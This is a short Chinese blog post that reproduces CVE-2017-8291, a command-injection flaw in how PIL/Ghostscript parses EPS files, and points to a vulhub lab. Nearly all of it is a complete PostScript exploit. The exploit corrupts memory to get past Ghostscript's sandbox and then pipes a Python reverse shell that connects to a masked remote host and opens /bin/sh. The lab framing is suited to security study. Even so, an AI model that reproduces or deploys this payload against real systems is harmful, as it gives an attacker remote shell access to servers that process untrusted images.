首页 > 编程语言 >[Python]PIL-CVE-2017-8291 复现

[Python]PIL-CVE-2017-8291 复现

时间:2023-11-09 16:00:39浏览次数:53  
标签:PIL get Python 16 8291 put buffersearchvars def size

[Python]PIL-CVE-2017-8291 复现

https://github.com/vulhub/vulhub/tree/master/python/PIL-CVE-2017-8291

PIL解析eps文件时存在命令注入。

可以反弹shell
exp:

%!PS-Adobe-3.0 EPSF-3.0
%%BoundingBox: -0 -0 100 100


/size_from  10000      def
/size_step    500      def
/size_to   65000      def
/enlarge    1000      def

%/bigarr 65000 array def

0
size_from size_step size_to {
    pop
    1 add
} for

/buffercount exch def

/buffersizes buffercount array def


0
size_from size_step size_to {
    buffersizes exch 2 index exch put
    1 add
} for
pop

/buffers buffercount array def

0 1 buffercount 1 sub {
    /ind exch def
    buffersizes ind get /cursize exch def
    cursize string /curbuf exch def
    buffers ind curbuf put
    cursize 16 sub 1 cursize 1 sub {
        curbuf exch 255 put
    } for
} for


/buffersearchvars [0 0 0 0 0] def
/sdevice [0] def

enlarge array aload

{
    .eqproc
    buffersearchvars 0 buffersearchvars 0 get 1 add put
    buffersearchvars 1 0 put
    buffersearchvars 2 0 put
    buffercount {
        buffers buffersearchvars 1 get get
        buffersizes buffersearchvars 1 get get
        16 sub get
        254 le {
            buffersearchvars 2 1 put
            buffersearchvars 3 buffers buffersearchvars 1 get get put
            buffersearchvars 4 buffersizes buffersearchvars 1 get get 16 sub put
        } if
        buffersearchvars 1 buffersearchvars 1 get 1 add put
    } repeat

    buffersearchvars 2 get 1 ge {
        exit
    } if
    %(.) print
} loop

.eqproc
.eqproc
.eqproc
sdevice 0
currentdevice
buffersearchvars 3 get buffersearchvars 4 get 16#7e put
buffersearchvars 3 get buffersearchvars 4 get 1 add 16#12 put
buffersearchvars 3 get buffersearchvars 4 get 5 add 16#ff put
put


buffersearchvars 0 get array aload

sdevice 0 get
16#3e8 0 put

sdevice 0 get
16#3b0 0 put

sdevice 0 get
16#3f0 0 put


currentdevice null false mark /OutputFile (%pipe%python3 -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("ip****",9998));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);')
.putdeviceparams
1 true .outputpage
.rsdparams
%{ } loop
0 0 .quit
%asdf

标签:PIL,get,Python,16,8291,put,buffersearchvars,def,size
From: https://www.cnblogs.com/Mz1-rc/p/17821887.html

相关文章

  • Thonny+MicroPython+ESP32开发环境配置以及遇到烧录固件出现error解决方法
    本文主要介绍如何使用python和esp32来做嵌入式研发相关的开发环境搭建以及在搭建时遇到的一些问题一、ESP32板子与电脑通讯1.首先将ESP32的板子通过USB线连接到电脑,下载驱动并且安装https://pan.baidu.com/s/1eTHYnom  2.打开电脑的设备管理器,win10可以直接从搜索中查......
  • 如何系统学习Python?
    学习Python可以通过以下系统性的步骤进行:1.设定学习目标确定你学习Python的主要目的,是为了编写脚本、数据分析、Web开发、机器学习还是其他应用?理解这个目标可以帮助你更有针对性地学习相关内容。2.学习基础知识a.编程基础如果你是编程新手,你可以先学习编程基础知识,......
  • Python进行多线程爬取数据通用模板
    首先,我们需要导入所需的库,包括requests和BeautifulSoup。requests库用于发送HTTP请求,BeautifulSoup库用于解析HTML文档。importrequestsfrombs4importBeautifulSoup然后,我们需要定义一个函数来发送HTTP请求并返回响应。在这个函数中,我们使用requests库的get方法来发送一个GET......
  • 使用Python调用API接口获取淘宝商品数据
    一、引言随着互联网的发展,电子商务已经成为了我们生活中不可或缺的一部分。淘宝作为中国最大的电子商务平台,其商品种类繁多,价格透明,购物方便,深受消费者的喜爱。然而,淘宝的商品数据量庞大,如果我们想要对淘宝的商品进行一些分析,例如商品的价格趋势、销量趋势等,就需要从淘宝的服务器上......
  • 直播app系统源码,python pdf转为图片
    直播app系统源码,pythonpdf转为图片 fromwand.imageimportImageimportos#将pdf文件转为jpg图片文件cur_file_path=os.path.dirname(os.path.realpath(__file__))#path为pdf文件路径path=os.path.join(cur_file_path,os.pardir,'ehouse/resource/img/')image_pdf=......
  • Python中使用sqlalchemy操作数据库遇到密码包含@的处理方法
    欺骗性的oracle12514错误,这就有问题了,努力方向就不对了。。。密码包含@的处理方法使用sqlalchemy操作数据库的时候,遇到密码中包含@的时候会报错。因为它是通过@来链接IP地址的,遇到密码里有@就跟语法里的@混乱分不清了。编辑器就会报错。比如下面这个例子:用户名:XXXXX密码:1......
  • Python多线程爬取数据代码模版
    由于对爬虫Ip信息的理解可能存在偏差,我将假设你想要爬取的网站支持Python多线程运行数据。以下是一个简单的Haskell爬虫程序,用于爬取Python多线程跑数据的内容:importNetwork.HTTPimportNetwork.URIimportData.ListimportData.MaybeimportControl.Monad--爬虫爬虫Ip信息......
  • Python逐行读取文件常用的三种方法!
    在Python中,读取文件是非常普遍的操作,而逐行读取文件则是最常见的需求。那么Python如何逐行读取文件?为大家介绍常用的三种方法,一起来看看吧。1、使用readline()方法逐行读取文件在Python中,我们可以使用readline()方法逐行读取文件。该方法用于读取文件的一行内容,并将文......
  • 彻底掌握Python中 * 号
    Python中的*号是一个特殊的符号,在其他编程语言中,它最广为人知的用途就是作为乘法运算的符号。而在Python中,它的用途远不止如此。本文总结了Python中*号的所有用途,以供参考。1.算术运算号用来做算术运算几乎是所有编程语言采用的方法,在Python中,号可作为乘法运算和指数运算。......
  • cmd输入python弹出windows应用商店的问题
    一、环境操作系统:windows10Python:3.11(最开始是3.7)二、起因pip要求升级结果无论是在cmd还是pycharm的控制台都没反应于是我就在cmd输入python发现打开的居然是windows的appstore,我还以为是我的python坏了就安装了3.11.结果涛声依旧。于是我就问了问度娘有了答案,就是删除微软app......